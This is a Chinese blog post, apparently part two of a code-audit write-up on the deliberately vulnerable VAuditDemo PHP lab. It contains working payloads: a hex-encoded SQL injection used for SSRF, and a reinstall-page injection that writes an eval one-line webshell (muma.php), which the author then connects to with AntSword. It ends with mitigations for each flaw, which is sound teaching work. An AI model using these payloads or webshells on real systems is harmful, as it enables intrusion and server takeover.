记一次对VAuditDemo平台的代码审计(下)

admin 2022年4月16日01:21:07记一次对VAuditDemo平台的代码审计(下)已关闭评论328 views字数 2414阅读8分2秒阅读模式

2.8 SSRF漏洞

在上面的任意文件读取漏洞中,由于有file_get_contents()函数,可能存在SSRF漏洞。

2.8.1 漏洞利用

poc

https://www.baidu.com转换为十六进制

',user_avatar = 0x68747470733a2f2f7777772e62616964752e636f6d WHERE user_name = 'test'#.png

记一次对VAuditDemo平台的代码审计(下)

修改前的数据库

记一次对VAuditDemo平台的代码审计(下)

修改后

记一次对VAuditDemo平台的代码审计(下)

重新登录,用BurpSuite抓包,重放avatar.php文件

记一次对VAuditDemo平台的代码审计(下)

利用成功

在chrome浏览器中同样可以看到

记一次对VAuditDemo平台的代码审计(下)

avatar.php文件中存在SSRF漏洞

2.9 逻辑漏洞

普通用户密码修改处不需要原密码就可以修改密码

记一次对VAuditDemo平台的代码审计(下)

2.9.1 代码审计

记一次对VAuditDemo平台的代码审计(下)

后端根据user_id修改密码,不需要原密码修可以修改,这样可能导致其它用户无意或者故意修改已登录的用户的密码。

2.10 重装漏洞

危险文件在/install/install.php和/sys/config.php中。

漏洞分析:

在/install/install.php中,通过POST传参接收并赋值给$dbname变量

记一次对VAuditDemo平台的代码审计(下)

在/sys/config.php中使用直接使用$dbname

记一次对VAuditDemo平台的代码审计(下)

在接收参数和使用参数的过程中,没有对参数进行任何的过滤,导致存在注入漏洞。

虽然没有任何检测,但是利用该漏洞的前提是要执行/sys/config.php中的sql语句,所以要能够创建一个数据库,在/install/install.php中有一条创建数据库的sql语句

记一次对VAuditDemo平台的代码审计(下)

如果创建不成功就无法执行/sys/config.php中的sql语句,所以构造的payload要符合sql的语法规则。可以利用闭合+注释的思路构造payoad,由于在MySQL中,注释符表示为--(空格),所以可以利用这点构造payload

exp;-- -";phpinfo();//

插入到/install/install.php中的sql语句中

mysql_query( "CREATE DATABASE exp;-- -";phpinfo();//", $con ) or die ( mysql_error() );

在/sys/config.php中

$database="exp;-- -";phpinfo();//";

写入exp

记一次对VAuditDemo平台的代码审计(下)

安装环境

记一次对VAuditDemo平台的代码审计(下)

安装成功!

查看/sys/config.php文件

记一次对VAuditDemo平台的代码审计(下)

phpinfo()函数已经被植入文件中,访问该文件

记一次对VAuditDemo平台的代码审计(下)

在index页面可以看到phpinfo()函数被执行。

利用这个思路构造一句话木马,下面是构造木马的代码

system('echo ^<?php @eval($_POST[1]); ?^> > muma.php');

先在本地测试一下,将木马写到12.php文件中

记一次对VAuditDemo平台的代码审计(下)

文件夹内除了12.php没有其它文件

记一次对VAuditDemo平台的代码审计(下)

访问该文件

记一次对VAuditDemo平台的代码审计(下)

浏览器中没有任何回显,但是在文件夹中多了muma.php文件

打开muma.php

记一次对VAuditDemo平台的代码审计(下)

发现一句话木马已经写入

测试成功了,将第一次测试的phpinfo();换成写入木马的代码,同时修改数据库名

exp001;-- -";system('echo ^<?php @eval($_POST[1]); ?^> > muma.php');//

记一次对VAuditDemo平台的代码审计(下)

安装

记一次对VAuditDemo平台的代码审计(下)

安装成功

在页面访问木马测试一下

记一次对VAuditDemo平台的代码审计(下)

木马可以访问到

用蚁剑连接

记一次对VAuditDemo平台的代码审计(下)

连接成功!

记一次对VAuditDemo平台的代码审计(下)

0x3 漏洞防御

3.1 SQL注入漏洞

1、过滤敏感字符

2、不适用危险函数,比如mysql_error()函数,该函数会导致报错注入漏洞

3、将配置文件中的一些配置选项关闭,比如display_errors=Off,该配置选项也可能导致报错注入漏洞的产生。

4、前端与后端统一使用UTF-8编码,防止宽字节注入

5、使用参数化查询,将用户传进去的数据仅作为参数而不作为命令使用,解决注入类漏洞的问题。

3.2 文件上传+文件包含漏洞

1、尽可能使用白名单策略检测上传的文件后缀名或者检测包含的文件,防止恶意用户上传一些可执行文件或配置文件。

2、将上传的文件名重写,使用户对文件名不可知,即使上传成功也无法利用

3、处理好文件检测与文件保存之间的关系,防止由于条件竞争导致的文件上传漏洞

3.3 XSS漏洞

1、过滤敏感字符

2、对输入端和输出端做严格的检测

3、使用实体编码

4、设置正确的cookie处理机制,比如设置httponly,让JavaScript脚本无法捕捉到cookie信息

3.4 命令执行漏洞

1、过滤危险命令

2、尽量不使用可执行系统命令的危险函数

3、针对使用ping命令的,可以根据ip的特点使用正则匹配严格过滤输入的参数

3.5 水平越权漏洞

1、严格分配每个用户可执行的权限

2、设置合理的用户数据处理机制

3、根据会话确定用户的身份和权限,不要根据请求的其他特性对用户的权限做出假设。

3.6 失效的会话管理漏洞

正确处理验证码保存机制,设置验证码仅可使用一次,使用之后就将验证码置为空,同时检测用户输入的验证码是否为空。

3.7 任意文件读取漏洞

1、设置白名单策略

2、严格检测用户输入的参数

3.8 SSRF漏洞

1、限制协议

2、限制IP,避免应用被用来获取内网数据,攻击内网

3、限制端口,限制请求的端口为http常用的端口,比如,80、443、8080、8090

4、过滤返回信息,验证远程服务器对请求的响应是比较简单的方法

5、统一错误信息处理,避免用户可以根据错误信息来判断远端服务器端口状态,例如把所有错误信息改成404或者其它信息。

3.9 逻辑漏洞

根据会话确定用户的身份和权限,不要根据请求的其他特性对用户的权限做出假设。

3.10 重装漏洞

对用户输入的数据进行严格的过滤,可使用白名单策略或黑名单策略。

0x4 补充

在web1.0时代只有管理员才能将数据传到服务器,普通用户只有读的权限,这时的漏洞还不是很多。到了web2.0时代,能与服务器进行交互的不仅仅是管理员,互联网用户也可以和服务器进行交互,在这个时期就出现了很多漏洞。
总结:漏洞问题大多是授信问题,如果我们对用户输入的任何数据都是零授信,就可以杜绝绝大多数漏洞。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月16日01:21:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次对VAuditDemo平台的代码审计(下)http://cn-sec.com/archives/917028.html